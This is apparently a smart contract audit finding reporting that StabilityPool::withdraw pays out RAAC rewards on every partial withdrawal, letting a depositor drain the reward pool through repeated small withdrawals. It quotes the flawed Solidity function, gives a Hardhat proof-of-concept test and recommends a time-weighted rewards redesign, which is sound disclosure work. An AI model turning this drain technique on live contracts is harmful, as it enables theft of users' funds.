Summary
The StabilityPool::withdraw function uses a flawed reward distribution logic which allows malicious actor to drain the entire rewards by creating partial withdrawals.
Vulnerability Details
The StabilityPool::withdraw function is used in order to receive rTokens back by burning the deTokens.
This function is also used for distribution of RAAC tokens as rewards.
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender); <<@ --
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards); <<@ --
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
However, the logic used here for distribution is technically flawed as a user could make several small partial withdrawals and drain the entire RAAC reward tokens.
The attacker would first make a decent deposit via the StabilityPool::deposit function and then make subsequent dust withdrawals by using the StabilityPool::withdraw function, by doing so the entire RAAC rewards can be stolen.
Impact
Loss of funds, as the rewards would be completely drained.
Users lose their rightful rewards.
Proof of concept
Add the following test case inside the StabilityPool.test.js file:
describe("Rewards issue", function () {
beforeEach(async function () {
const depositAmount = ethers.parseEther("200");
await crvusd.mint(user2.address, depositAmount);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount);
await crvusd.mint(user1.address, depositAmount);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user1).deposit(depositAmount);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount);
});
it("should be able to drain rewards", async function () {
const initialAmount = ethers.parseEther("100");
await stabilityPool.connect(user1).deposit(ethers.parseEther("150"));
await stabilityPool.connect(user2).deposit(initialAmount);
const withdrawAmount = ethers.parseEther("30");
const raacBalanceStability = await raacToken.balanceOf(stabilityPool.target);
console.log(raacBalanceStability.toString());
const raacBalanceBefore = await raacToken.balanceOf(user2.address);
await stabilityPool.connect(user2).withdraw(withdrawAmount);
const raacBalanceAfter = await raacToken.balanceOf(user2.address);
expect(raacBalanceAfter).to.be.gt(raacBalanceBefore);
console.log(raacBalanceBefore.toString(), raacBalanceAfter.toString());
await stabilityPool.connect(user2).withdraw(withdrawAmount);
const raacBalanceAfter2 = await raacToken.balanceOf(user2.address);
expect(raacBalanceAfter2).to.be.gt(raacBalanceAfter);
console.log(raacBalanceAfter.toString(), raacBalanceAfter2.toString());
});
})
This shows how subsequent withdrawals allows draining of the rewards.
Tools Used
Manual Review
/
Hardhat
Recommendations
It is recommended to seperate out the rewards logic and link it with time weighted logic to fairly reward users as even allowing proportionate amount of rewards as per the withdrawal parameter would still be susceptible to attacks as the malicious actor can again deposit and withdraw multiple times leading to stolen rewards, the entire architecture of rewards needs rework.
